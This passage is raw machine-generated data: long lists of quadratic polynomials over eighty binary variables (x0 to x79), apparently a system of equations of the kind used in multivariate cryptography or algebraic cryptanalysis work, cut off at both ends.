+ x0*x27 + x0*x28 + x0*x30 + x0*x32 + x0*x33 + x0*x35 + x0*x39 + x0*x43 + x0*x46 + x0*x47 + x0*x50 + x0*x52 + x0*x53 + x0*x58 + x0*x59 + x0*x60 + x0*x62 + x0*x64 + x0*x67 + x0*x74 + x0*x75 + x0*x76 + x0*x77 + x0*x79 + x1*x5 + x1*x8 + x1*x9 + x1*x11 + x1*x15 + x1*x16 + x1*x17 + x1*x20 + x1*x21 + x1*x25 + x1*x26 + x1*x27 + x1*x28 + x1*x30 + x1*x31 + x1*x38 + x1*x41 + x1*x42 + x1*x43 + x1*x45 + x1*x46 + x1*x47 + x1*x48 + x1*x49 + x1*x51 + x1*x52 + x1*x53 + x1*x54 + x1*x55 + x1*x59 + x1*x60 + x1*x64 + x1*x65 + x1*x66 + x1*x67 + x1*x68 + x1*x69 + x1*x70 + x1*x71 + x1*x74 + x1*x75 + x1*x77 + x1*x79 + x2*x7 + x2*x8 + x2*x10 + x2*x11 + x2*x12 + x2*x16 + x2*x17 + x2*x20 + x2*x21 + x2*x22 + x2*x24 + x2*x25 + x2*x27 + x2*x29 + x2*x30 + x2*x32 + x2*x35 + x2*x36 + x2*x37 + x2*x39 + x2*x40 + x2*x41 + x2*x42 + x2*x44 + x2*x45 + x2*x47 + x2*x50 + x2*x51 + x2*x54 + x2*x55 + x2*x56 + x2*x64 + x2*x65 + x2*x66 + x2*x69 + x2*x71 + x2*x72 + x2*x73 + x2*x76 + x2*x77 + x2*x78 + x2*x79 + x3*x5 + x3*x7 + x3*x8 + x3*x10 + x3*x11 + x3*x15 + x3*x16 + x3*x18 + x3*x19 + x3*x21 + x3*x23 + x3*x26 + x3*x29 + x3*x31 + x3*x32 + x3*x33 + x3*x34 + x3*x35 + x3*x36 + x3*x37 + x3*x38 + x3*x44 + x3*x45 + x3*x46 + x3*x47 + x3*x48 + x3*x49 + x3*x51 + x3*x56 + x3*x57 + x3*x58 + x3*x61 + x3*x63 + x3*x64 + x3*x65 + x3*x67 + x3*x68 + x3*x69 + x3*x72 + x3*x73 + x3*x74 + x3*x76 + x3*x77 + x4*x6 + x4*x10 + x4*x11 + x4*x12 + x4*x14 + x4*x16 + x4*x18 + x4*x19 + x4*x21 + x4*x22 + x4*x24 + x4*x26 + x4*x28 + x4*x30 + x4*x33 + x4*x35 + x4*x36 + x4*x38 + x4*x40 + x4*x41 + x4*x43 + x4*x44 + x4*x46 + x4*x47 + x4*x49 + x4*x50 + x4*x51 + x4*x55 + x4*x57 + x4*x59 + x4*x61 + x4*x64 + x4*x65 + x4*x68 + x4*x71 + x4*x73 + x4*x75 + x4*x76 + x4*x77 + x4*x79 + x4 + x5*x6 + x5*x7 + x5*x8 + x5*x16 + x5*x17 + x5*x21 + x5*x22 + x5*x23 + x5*x25 + x5*x26 + x5*x27 + x5*x29 + x5*x30 + x5*x31 + x5*x33 + x5*x40 + x5*x41 + x5*x42 + x5*x46 + x5*x47 + x5*x50 + x5*x52 + x5*x58 + x5*x60 + x5*x61 + x5*x64 + x5*x65 + x5*x66 + x5*x67 + x5*x68 + x5*x73 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5 + x6*x8 + x6*x9 + x6*x11 + x6*x12 + x6*x13 + x6*x15 + x6*x18 + x6*x20 + x6*x21 + x6*x22 + x6*x23 + x6*x25 + x6*x27 + x6*x28 + x6*x29 + x6*x33 + x6*x37 + x6*x38 + x6*x42 + x6*x45 + x6*x46 + x6*x49 + x6*x50 + x6*x52 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x58 + x6*x59 + x6*x60 + x6*x61 + x6*x63 + x6*x66 + x6*x67 + x6*x68 + x6*x70 + x6*x71 + x6*x75 + x6*x76 + x6*x78 + x6 + x7*x13 + x7*x15 + x7*x16 + x7*x17 + x7*x18 + x7*x19 + x7*x21 + x7*x23 + x7*x24 + x7*x25 + x7*x26 + x7*x29 + x7*x30 + x7*x31 + x7*x32 + x7*x33 + x7*x34 + x7*x38 + x7*x44 + x7*x47 + x7*x48 + x7*x52 + x7*x54 + x7*x55 + x7*x57 + x7*x59 + x7*x62 + x7*x63 + x7*x69 + x7*x72 + x7*x73 + x7*x77 + x7*x78 + x7*x79 + x7 + x8*x9 + x8*x10 + x8*x13 + x8*x15 + x8*x16 + x8*x18 + x8*x20 + x8*x21 + x8*x27 + x8*x28 + x8*x29 + x8*x32 + x8*x33 + x8*x36 + x8*x39 + x8*x42 + x8*x44 + x8*x45 + x8*x47 + x8*x48 + x8*x49 + x8*x51 + x8*x55 + x8*x56 + x8*x61 + x8*x62 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x76 + x8*x77 + x8*x78 + x8*x79 + x9*x10 + x9*x13 + x9*x22 + x9*x23 + x9*x25 + x9*x26 + x9*x27 + x9*x28 + x9*x30 + x9*x32 + x9*x34 + x9*x35 + x9*x39 + x9*x40 + x9*x41 + x9*x42 + x9*x43 + x9*x46 + x9*x50 + x9*x51 + x9*x53 + x9*x54 + x9*x55 + x9*x57 + x9*x58 + x9*x60 + x9*x61 + x9*x63 + x9*x64 + x9*x67 + x9*x68 + x9*x71 + x9*x74 + x9*x76 + x9*x77 + x9 + x10*x13 + x10*x14 + x10*x15 + x10*x21 + x10*x25 + x10*x26 + x10*x27 + x10*x28 + x10*x31 + x10*x33 + x10*x35 + x10*x37 + x10*x39 + x10*x41 + x10*x43 + x10*x44 + x10*x46 + x10*x48 + x10*x50 + x10*x53 + x10*x57 + x10*x58 + x10*x59 + x10*x61 + x10*x62 + x10*x64 + x10*x69 + x10*x76 + x10*x79 + x10 + x11*x12 + x11*x15 + x11*x17 + x11*x18 + x11*x20 + x11*x21 + x11*x22 + x11*x24 + x11*x25 + x11*x27 + x11*x28 + x11*x29 + x11*x30 + x11*x33 + x11*x34 + x11*x38 + x11*x39 + x11*x40 + x11*x42 + x11*x43 + x11*x45 + x11*x49 + x11*x50 + x11*x53 + x11*x54 + x11*x56 + x11*x57 + x11*x60 + x11*x61 + x11*x64 + x11*x67 + x11*x71 + x11*x73 + x11*x74 + x11*x75 + x11*x79 + x12*x13 + x12*x14 + x12*x15 + x12*x16 + x12*x17 + x12*x19 + x12*x20 + x12*x24 + x12*x25 + x12*x26 + x12*x27 + x12*x29 + x12*x32 + x12*x33 + x12*x34 + x12*x38 + x12*x39 + x12*x40 + x12*x45 + x12*x46 + x12*x50 + x12*x51 + x12*x55 + x12*x56 + x12*x57 + x12*x59 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x68 + x12*x70 + x12*x76 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x21 + x13*x23 + x13*x25 + x13*x26 + x13*x32 + x13*x35 + x13*x42 + x13*x43 + x13*x45 + x13*x47 + x13*x52 + x13*x55 + x13*x56 + x13*x58 + x13*x59 + x13*x61 + x13*x63 + x13*x64 + x13*x65 + x13*x66 + x13*x68 + x13*x69 + x13*x70 + x13*x72 + x13*x73 + x13*x75 + x13*x77 + x13*x79 + x14*x16 + x14*x18 + x14*x20 + x14*x21 + x14*x23 + x14*x24 + x14*x25 + x14*x27 + x14*x29 + x14*x30 + x14*x31 + x14*x35 + x14*x37 + x14*x38 + x14*x39 + x14*x41 + x14*x42 + x14*x43 + x14*x45 + x14*x51 + x14*x53 + x14*x55 + x14*x56 + x14*x57 + x14*x60 + x14*x61 + x14*x65 + x14*x66 + x14*x67 + x14*x70 + x14*x72 + x14*x73 + x14*x75 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x20 + x15*x22 + x15*x23 + x15*x24 + x15*x26 + x15*x27 + x15*x28 + x15*x29 + x15*x31 + x15*x32 + x15*x34 + x15*x35 + x15*x36 + x15*x37 + x15*x38 + x15*x43 + x15*x44 + x15*x45 + x15*x46 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x54 + x15*x56 + x15*x58 + x15*x60 + x15*x61 + x15*x63 + x15*x65 + x15*x66 + x15*x67 + x15*x68 + x15*x69 + x15*x73 + x15*x75 + x15*x76 + x15*x79 + x16*x19 + x16*x23 + x16*x24 + x16*x28 + x16*x30 + x16*x34 + x16*x36 + x16*x38 + x16*x39 + x16*x40 + x16*x42 + x16*x43 + x16*x44 + x16*x47 + x16*x49 + x16*x52 + x16*x53 + x16*x54 + x16*x55 + x16*x59 + x16*x60 + x16*x61 + x16*x63 + x16*x64 + x16*x66 + x16*x67 + x16*x73 + x16*x74 + x16*x75 + x16*x77 + x16*x78 + x16*x79 + x17*x21 + x17*x22 + x17*x23 + x17*x25 + x17*x26 + x17*x27 + x17*x31 + x17*x32 + x17*x34 + x17*x37 + x17*x40 + x17*x41 + x17*x42 + x17*x43 + x17*x45 + x17*x49 + x17*x55 + x17*x56 + x17*x57 + x17*x58 + x17*x59 + x17*x61 + x17*x63 + x17*x64 + x17*x68 + x17*x69 + x17*x72 + x17*x75 + x17*x76 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x24 + x18*x27 + x18*x29 + x18*x30 + x18*x34 + x18*x35 + x18*x37 + x18*x38 + x18*x40 + x18*x41 + x18*x42 + x18*x43 + x18*x44 + x18*x45 + x18*x46 + x18*x47 + x18*x48 + x18*x49 + x18*x53 + x18*x57 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x64 + x18*x70 + x18*x73 + x18*x76 + x18*x79 + x19*x20 + x19*x24 + x19*x25 + x19*x26 + x19*x27 + x19*x29 + x19*x31 + x19*x32 + x19*x34 + x19*x36 + x19*x38 + x19*x39 + x19*x42 + x19*x43 + x19*x45 + x19*x46 + x19*x49 + x19*x65 + x19*x67 + x19*x68 + x19*x74 + x19*x75 + x19*x77 + x19*x79 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x24 + x20*x26 + x20*x27 + x20*x29 + x20*x30 + x20*x33 + x20*x34 + x20*x37 + x20*x38 + x20*x40 + x20*x41 + x20*x43 + x20*x46 + x20*x49 + x20*x51 + x20*x52 + x20*x54 + x20*x55 + x20*x56 + x20*x58 + x20*x60 + x20*x62 + x20*x64 + x20*x65 + x20*x69 + x20*x70 + x20*x71 + x20*x72 + x20*x73 + x20*x75 + x20*x76 + x20*x79 + x21*x22 + x21*x27 + x21*x30 + x21*x34 + x21*x35 + x21*x36 + x21*x38 + x21*x42 + x21*x44 + x21*x46 + x21*x47 + x21*x48 + x21*x51 + x21*x54 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x62 + x21*x64 + x21*x68 + x21*x69 + x21*x70 + x21*x71 + x21*x72 + x21*x77 + x21*x78 + x22*x23 + x22*x24 + x22*x25 + x22*x26 + x22*x27 + x22*x30 + x22*x31 + x22*x33 + x22*x34 + x22*x40 + x22*x41 + x22*x42 + x22*x43 + x22*x45 + x22*x46 + x22*x48 + x22*x50 + x22*x51 + x22*x52 + x22*x53 + x22*x55 + x22*x56 + x22*x57 + x22*x61 + x22*x62 + x22*x64 + x22*x65 + x22*x68 + x22*x71 + x22*x73 + x22*x74 + x22*x75 + x22*x77 + x22*x78 + x22*x79 + x22 + x23*x26 + x23*x28 + x23*x30 + x23*x31 + x23*x32 + x23*x34 + x23*x39 + x23*x46 + x23*x47 + x23*x48 + x23*x49 + x23*x53 + x23*x57 + x23*x62 + x23*x64 + x23*x68 + x23*x69 + x23*x71 + x23*x72 + x23*x73 + x23*x74 + x23*x78 + x23*x79 + x23 + x24*x25 + x24*x26 + x24*x28 + x24*x29 + x24*x31 + x24*x33 + x24*x35 + x24*x40 + x24*x43 + x24*x47 + x24*x50 + x24*x51 + x24*x55 + x24*x58 + x24*x60 + x24*x61 + x24*x63 + x24*x67 + x24*x68 + x24*x69 + x24*x73 + x24*x74 + x24*x76 + x24*x79 + x24 + x25*x26 + x25*x30 + x25*x31 + x25*x33 + x25*x34 + x25*x39 + x25*x43 + x25*x44 + x25*x47 + x25*x48 + x25*x49 + x25*x50 + x25*x55 + x25*x57 + x25*x61 + x25*x62 + x25*x63 + x25*x64 + x25*x69 + x25*x70 + x25*x72 + x25*x73 + x25*x74 + x25*x75 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x28 + x26*x30 + x26*x32 + x26*x37 + x26*x38 + x26*x39 + x26*x43 + x26*x44 + x26*x45 + x26*x46 + x26*x48 + x26*x49 + x26*x50 + x26*x51 + x26*x52 + x26*x55 + x26*x59 + x26*x60 + x26*x66 + x26*x67 + x26*x68 + x26*x70 + x26*x72 + x26*x73 + x26*x75 + x26*x78 + x27*x31 + x27*x34 + x27*x35 + x27*x36 + x27*x38 + x27*x39 + x27*x40 + x27*x41 + x27*x42 + x27*x44 + x27*x45 + x27*x49 + x27*x51 + x27*x53 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x62 + x27*x63 + x27*x66 + x27*x68 + x27*x69 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27 + x28*x30 + x28*x31 + x28*x34 + x28*x36 + x28*x38 + x28*x40 + x28*x41 + x28*x43 + x28*x47 + x28*x49 + x28*x51 + x28*x53 + x28*x55 + x28*x57 + x28*x61 + x28*x63 + x28*x65 + x28*x66 + x28*x67 + x28*x72 + x28*x73 + x28*x75 + x28*x76 + x28*x77 + x29*x31 + x29*x36 + x29*x37 + x29*x40 + x29*x41 + x29*x42 + x29*x45 + x29*x52 + x29*x53 + x29*x56 + x29*x58 + x29*x59 + x29*x61 + x29*x63 + x29*x64 + x29*x69 + x29*x72 + x29*x73 + x29*x76 + x30*x33 + x30*x36 + x30*x39 + x30*x42 + x30*x46 + x30*x47 + x30*x48 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x55 + x30*x57 + x30*x58 + x30*x59 + x30*x60 + x30*x61 + x30*x66 + x30*x68 + x30*x69 + x30*x70 + x30*x71 + x30*x72 + x30*x74 + x30*x76 + x30*x78 + x30*x79 + x30 + x31*x33 + x31*x34 + x31*x37 + x31*x40 + x31*x42 + x31*x46 + x31*x47 + x31*x48 + x31*x49 + x31*x53 + x31*x54 + x31*x55 + x31*x57 + x31*x62 + x31*x65 + x31*x68 + x31*x70 + x31*x72 + x31*x76 + x31*x77 + x31*x78 + x31 + x32*x42 + x32*x45 + x32*x47 + x32*x48 + x32*x49 + x32*x50 + x32*x51 + x32*x53 + x32*x54 + x32*x56 + x32*x57 + x32*x61 + x32*x63 + x32*x64 + x32*x69 + x32*x70 + x32*x72 + x32*x75 + x32*x76 + x32*x77 + x32*x79 + x33*x35 + x33*x36 + x33*x38 + x33*x39 + x33*x40 + x33*x48 + x33*x51 + x33*x52 + x33*x53 + x33*x54 + x33*x55 + x33*x59 + x33*x61 + x33*x63 + x33*x64 + x33*x66 + x33*x68 + x33*x69 + x33*x71 + x33*x72 + x33*x74 + x33*x76 + x33*x77 + x33*x78 + x33*x79 + x34*x37 + x34*x42 + x34*x44 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x53 + x34*x55 + x34*x64 + x34*x67 + x34*x69 + x34*x70 + x34*x73 + x34*x75 + x34*x78 + x34 + x35*x37 + x35*x39 + x35*x41 + x35*x42 + x35*x45 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x55 + x35*x56 + x35*x57 + x35*x59 + x35*x60 + x35*x61 + x35*x62 + x35*x65 + x35*x67 + x35*x70 + x35*x75 + x35*x77 + x35*x78 + x36*x38 + x36*x39 + x36*x41 + x36*x45 + x36*x46 + x36*x49 + x36*x51 + x36*x54 + x36*x57 + x36*x59 + x36*x60 + x36*x62 + x36*x63 + x36*x64 + x36*x65 + x36*x67 + x36*x68 + x36*x70 + x36*x73 + x36*x75 + x36*x76 + x36*x78 + x36 + x37*x40 + x37*x41 + x37*x45 + x37*x46 + x37*x47 + x37*x52 + x37*x53 + x37*x54 + x37*x58 + x37*x60 + x37*x66 + x37*x67 + x37*x68 + x37*x70 + x37*x76 + x37*x77 + x37 + x38*x39 + x38*x42 + x38*x46 + x38*x47 + x38*x49 + x38*x51 + x38*x52 + x38*x54 + x38*x55 + x38*x56 + x38*x58 + x38*x59 + x38*x60 + x38*x63 + x38*x64 + x38*x65 + x38*x66 + x38*x67 + x38*x68 + x38*x69 + x38*x72 + x38*x73 + x38*x77 + x39*x41 + x39*x43 + x39*x44 + x39*x46 + x39*x47 + x39*x51 + x39*x52 + x39*x57 + x39*x58 + x39*x61 + x39*x68 + x39*x71 + x39*x72 + x39*x74 + x39*x75 + x39*x79 + x39 + x40*x42 + x40*x43 + x40*x44 + x40*x45 + x40*x48 + x40*x51 + x40*x52 + x40*x53 + x40*x60 + x40*x61 + x40*x62 + x40*x63 + x40*x65 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x72 + x40*x75 + x40*x76 + x40*x78 + x40*x79 + x40 + x41*x42 + x41*x46 + x41*x47 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x58 + x41*x64 + x41*x66 + x41*x67 + x41*x69 + x41*x74 + x41*x78 + x42*x43 + x42*x46 + x42*x47 + x42*x48 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x58 + x42*x59 + x42*x64 + x42*x68 + x42*x69 + x42*x71 + x42*x73 + x42*x74 + x42*x77 + x42*x79 + x43*x44 + x43*x49 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x60 + x43*x65 + x43*x66 + x43*x67 + x43*x68 + x43*x72 + x43*x76 + x43*x77 + x43*x78 + x43*x79 + x43 + x44*x47 + x44*x48 + x44*x50 + x44*x51 + x44*x53 + x44*x55 + x44*x59 + x44*x60 + x44*x61 + x44*x63 + x44*x64 + x44*x66 + x44*x68 + x44*x69 + x44*x70 + x44*x71 + x44*x76 + x44*x78 + x45*x47 + x45*x49 + x45*x50 + x45*x51 + x45*x52 + x45*x55 + x45*x61 + x45*x62 + x45*x63 + x45*x65 + x45*x67 + x45*x68 + x45*x71 + x45*x76 + x45*x77 + x46*x47 + x46*x50 + x46*x52 + x46*x54 + x46*x55 + x46*x56 + x46*x58 + x46*x61 + x46*x63 + x46*x64 + x46*x65 + x46*x66 + x46*x67 + x46*x68 + x46*x74 + x46*x76 + x46 + x47*x51 + x47*x56 + x47*x58 + x47*x59 + x47*x61 + x47*x62 + x47*x63 + x47*x66 + x47*x67 + x47*x70 + x47*x73 + x47*x75 + x47*x77 + x47*x78 + x47 + x48*x49 + x48*x50 + x48*x51 + x48*x54 + x48*x55 + x48*x58 + x48*x59 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x66 + x48*x69 + x48*x74 + x48*x75 + x48*x78 + x48 + x49*x50 + x49*x52 + x49*x56 + x49*x57 + x49*x59 + x49*x60 + x49*x64 + x49*x65 + x49*x66 + x49*x67 + x49*x68 + x49*x70 + x49*x71 + x49*x72 + x49*x73 + x49*x75 + x49*x78 + x49*x79 + x49 + x50*x51 + x50*x54 + x50*x56 + x50*x58 + x50*x60 + x50*x63 + x50*x65 + x50*x66 + x50*x69 + x50*x70 + x50*x71 + x50*x74 + x50*x77 + x50*x78 + x50*x79 + x51*x52 + x51*x53 + x51*x55 + x51*x56 + x51*x59 + x51*x60 + x51*x63 + x51*x64 + x51*x65 + x51*x66 + x51*x67 + x51*x68 + x51*x70 + x51*x71 + x51*x72 + x51*x74 + x51*x76 + x51*x77 + x51*x78 + x52*x58 + x52*x60 + x52*x65 + x52*x70 + x52*x71 + x52*x74 + x52*x77 + x52*x78 + x53*x54 + x53*x56 + x53*x63 + x53*x67 + x53*x70 + x53*x72 + x53*x74 + x54*x55 + x54*x56 + x54*x58 + x54*x62 + x54*x65 + x54*x66 + x54*x69 + x54*x72 + x54*x73 + x54*x76 + x54*x77 + x55*x57 + x55*x58 + x55*x59 + x55*x60 + x55*x62 + x55*x64 + x55*x68 + x55*x72 + x55*x73 + x55*x74 + x55*x75 + x55*x76 + x55*x77 + x55*x79 + x56*x57 + x56*x61 + x56*x65 + x56*x66 + x56*x67 + x56*x70 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x57*x58 + x57*x60 + x57*x66 + x57*x67 + x57*x69 + x57*x71 + x57*x74 + x57*x76 + x57*x77 + x57*x78 + x57 + x58*x59 + x58*x60 + x58*x61 + x58*x64 + x58*x72 + x58*x74 + x58*x75 + x58*x78 + x58 + x59*x60 + x59*x62 + x59*x64 + x59*x65 + x59*x68 + x59*x69 + x59*x70 + x59*x71 + x59*x72 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x79 + x59 + x60*x61 + x60*x69 + x60*x70 + x60*x72 + x60*x73 + x60*x74 + x60*x75 + x60*x76 + x60*x77 + x60*x78 + x60 + x61*x62 + x61*x63 + x61*x67 + x61*x68 + x61*x70 + x61*x71 + x61*x73 + x61*x74 + x61*x75 + x61*x76 + x61*x77 + x61*x79 + x62*x63 + x62*x64 + x62*x66 + x62*x67 + x62*x70 + x62*x74 + x62*x79 + x63*x65 + x63*x66 + x63*x68 + x63*x69 + x63*x72 + x63*x75 + x63*x77 + x63*x79 + x64*x65 + x64*x66 + x64*x69 + x64*x70 + x64*x73 + x64*x76 + x64*x77 + x64*x78 + x64*x79 + x64 + x65*x66 + x65*x67 + x65*x68 + x65*x69 + x65*x70 + x65*x71 + x65*x73 + x65*x74 + x65*x79 + x65 + x66*x67 + x66*x70 + x66*x75 + x66*x76 + x66*x77 + x67*x68 + x67*x74 + x67*x76 + x67*x79 + x67 + x68*x69 + x68*x72 + x68*x73 + x68*x75 + x68*x76 + x68*x78 + x68*x79 + x68 + x69*x72 + x69*x73 + x69*x74 + x69*x75 + x69*x76 + x69*x77 + x69*x78 + x69*x79 + x71*x72 + x71*x73 + x71*x77 + x71*x78 + x71*x79 + x72*x73 + x72*x76 + x73*x75 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x78 + x74*x79 + x74 + x75*x77 + x75 + x76*x78 + x76 + x77*x78 + x77*x79 + x79 + 1, x0*x2 + x0*x3 + x0*x4 + x0*x5 + x0*x6 + x0*x7 + x0*x8 + x0*x10 + x0*x18 + x0*x26 + x0*x29 + x0*x30 + x0*x32 + x0*x34 + x0*x35 + x0*x36 + x0*x37 + x0*x42 + x0*x43 + x0*x46 + x0*x47 + x0*x49 + x0*x50 + x0*x52 + x0*x56 + x0*x58 + x0*x60 + x0*x62 + x0*x63 + x0*x64 + x0*x66 + x0*x72 + x0*x73 + x0*x78 + x0*x79 + x1*x3 + x1*x5 + x1*x10 + x1*x12 + x1*x13 + x1*x14 + x1*x15 + x1*x16 + x1*x20 + x1*x21 + x1*x24 + x1*x25 + x1*x26 + x1*x28 + x1*x29 + x1*x30 + x1*x31 + x1*x32 + x1*x33 + x1*x34 + x1*x37 + x1*x44 + x1*x46 + x1*x47 + x1*x49 + x1*x51 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x57 + x1*x58 + x1*x61 + x1*x62 + x1*x63 + x1*x64 + x1*x65 + x1*x68 + x1*x75 + x1*x77 + x1*x78 + x2*x3 + x2*x9 + x2*x10 + x2*x15 + x2*x16 + x2*x19 + x2*x20 + x2*x22 + x2*x23 + x2*x27 + x2*x28 + x2*x32 + x2*x37 + x2*x39 + x2*x43 + x2*x44 + x2*x48 + x2*x50 + x2*x51 + x2*x52 + x2*x55 + x2*x56 + x2*x58 + x2*x60 + x2*x61 + x2*x64 + x2*x66 + x2*x67 + x2*x72 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2 + x3*x4 + x3*x7 + x3*x8 + x3*x11 + x3*x12 + x3*x13 + x3*x14 + x3*x17 + x3*x18 + x3*x20 + x3*x23 + x3*x24 + x3*x25 + x3*x26 + x3*x27 + x3*x28 + x3*x30 + x3*x31 + x3*x32 + x3*x35 + x3*x39 + x3*x41 + x3*x42 + x3*x46 + x3*x48 + x3*x49 + x3*x50 + x3*x51 + x3*x54 + x3*x56 + x3*x60 + x3*x61 + x3*x62 + x3*x64 + x3*x65 + x3*x68 + x3*x70 + x3*x71 + x3*x72 + x3*x74 + x3*x75 + x3*x79 + x3 + x4*x7 + x4*x8 + x4*x9 + x4*x10 + x4*x14 + x4*x15 + x4*x16 + x4*x18 + x4*x19 + x4*x20 + x4*x21 + x4*x24 + x4*x26 + x4*x27 + x4*x28 + x4*x32 + x4*x33 + x4*x37 + x4*x38 + x4*x40 + x4*x48 + x4*x51 + x4*x52 + x4*x55 + x4*x56 + x4*x58 + x4*x60 + x4*x63 + x4*x64 + x4*x68 + x4*x72 + x4*x74 + x4*x78 + x4 + x5*x8 + x5*x9 + x5*x11 + x5*x13 + x5*x15 + x5*x16 + x5*x17 + x5*x18 + x5*x20 + x5*x21 + x5*x23 + x5*x24 + x5*x25 + x5*x26 + x5*x27 + x5*x28 + x5*x31 + x5*x34 + x5*x36 + x5*x42 + x5*x43 + x5*x44 + x5*x46 + x5*x47 + x5*x50 + x5*x51 + x5*x58 + x5*x59 + x5*x60 + x5*x62 + x5*x63 + x5*x64 + x5*x65 + x5*x68 + x5*x69 + x5*x72 + x5*x74 + x5 + x6*x8 + x6*x9 + x6*x10 + x6*x11 + x6*x12 + x6*x15 + x6*x16 + x6*x17 + x6*x19 + x6*x20 + x6*x21 + x6*x23 + x6*x26 + x6*x27 + x6*x31 + x6*x32 + x6*x33 + x6*x34 + x6*x35 + x6*x39 + x6*x40 + x6*x41 + x6*x42 + x6*x43 + x6*x45 + x6*x50 + x6*x53 + x6*x54 + x6*x56 + x6*x57 + x6*x59 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x67 + x6*x68 + x6*x69 + x6*x70 + x6*x71 + x6*x73 + x6*x77 + x6 + x7*x8 + x7*x10 + x7*x11 + x7*x12 + x7*x18 + x7*x19 + x7*x22 + x7*x23 + x7*x24 + x7*x26 + x7*x28 + x7*x30 + x7*x33 + x7*x35 + x7*x37 + x7*x41 + x7*x43 + x7*x45 + x7*x47 + x7*x48 + x7*x49 + x7*x50 + x7*x51 + x7*x52 + x7*x54 + x7*x55 + x7*x56 + x7*x57 + x7*x60 + x7*x63 + x7*x65 + x7*x68 + x7*x73 + x7*x75 + x7*x77 + x7*x78 + x7 + x8*x9 + x8*x10 + x8*x11 + x8*x13 + x8*x14 + x8*x18 + x8*x20 + x8*x21 + x8*x22 + x8*x25 + x8*x26 + x8*x29 + x8*x32 + x8*x34 + x8*x35 + x8*x39 + x8*x41 + x8*x42 + x8*x44 + x8*x45 + x8*x46 + x8*x50 + x8*x51 + x8*x53 + x8*x56 + x8*x57 + x8*x58 + x8*x61 + x8*x63 + x8*x65 + x8*x66 + x8*x69 + x8*x70 + x8*x71 + x8*x72 + x8*x75 + x8*x77 + x8*x79 + x8 + x9*x10 + x9*x13 + x9*x16 + x9*x20 + x9*x23 + x9*x24 + x9*x28 + x9*x31 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x39 + x9*x41 + x9*x42 + x9*x44 + x9*x45 + x9*x46 + x9*x51 + x9*x52 + x9*x54 + x9*x56 + x9*x57 + x9*x60 + x9*x61 + x9*x62 + x9*x66 + x9*x69 + x9*x70 + x9*x72 + x9*x73 + x9*x75 + x9*x76 + x9*x77 + x9*x78 + x9 + x10*x12 + x10*x13 + x10*x14 + x10*x15 + x10*x16 + x10*x19 + x10*x22 + x10*x26 + x10*x27 + x10*x28 + x10*x30 + x10*x32 + x10*x34 + x10*x35 + x10*x37 + x10*x38 + x10*x42 + x10*x44 + x10*x47 + x10*x48 + x10*x49 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x57 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x65 + x10*x66 + x10*x68 + x10*x70 + x10*x72 + x10*x73 + x10*x74 + x10*x79 + x11*x13 + x11*x14 + x11*x15 + x11*x17 + x11*x18 + x11*x27 + x11*x28 + x11*x34 + x11*x36 + x11*x37 + x11*x38 + x11*x39 + x11*x40 + x11*x41 + x11*x42 + x11*x48 + x11*x49 + x11*x51 + x11*x52 + x11*x53 + x11*x54 + x11*x56 + x11*x58 + x11*x60 + x11*x61 + x11*x63 + x11*x67 + x11*x68 + x11*x69 + x11*x72 + x11*x75 + x11*x78 + x11 + x12*x13 + x12*x14 + x12*x15 + x12*x18 + x12*x20 + x12*x22 + x12*x23 + x12*x24 + x12*x25 + x12*x26 + x12*x30 + x12*x33 + x12*x34 + x12*x36 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x42 + x12*x43 + x12*x44 + x12*x45 + x12*x51 + x12*x52 + x12*x54 + x12*x55 + x12*x57 + x12*x59 + x12*x60 + x12*x62 + x12*x63 + x12*x64 + x12*x65 + x12*x66 + x12*x67 + x12*x69 + x12*x71 + x12*x74 + x12*x75 + x12*x76 + x12*x77 + x12*x78 + x12 + x13*x18 + x13*x19 + x13*x20 + x13*x22 + x13*x23 + x13*x25 + x13*x28 + x13*x29 + x13*x30 + x13*x32 + x13*x33 + x13*x34 + x13*x35 + x13*x37 + x13*x39 + x13*x40 + x13*x41 + x13*x43 + x13*x44 + x13*x46 + x13*x48 + x13*x49 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x58 + x13*x59 + x13*x60 + x13*x62 + x13*x68 + x13*x73 + x13*x74 + x13*x75 + x13*x76 + x13*x77 + x14*x15 + x14*x16 + x14*x17 + x14*x18 + x14*x21 + x14*x24 + x14*x25 + x14*x29 + x14*x30 + x14*x36 + x14*x39 + x14*x42 + x14*x43 + x14*x45 + x14*x48 + x14*x49 + x14*x55 + x14*x56 + x14*x59 + x14*x60 + x14*x65 + x14*x66 + x14*x68 + x14*x70 + x14*x72 + x14*x73 + x14*x74 + x14*x77 + x14 + x15*x19 + x15*x21 + x15*x25 + x15*x26 + 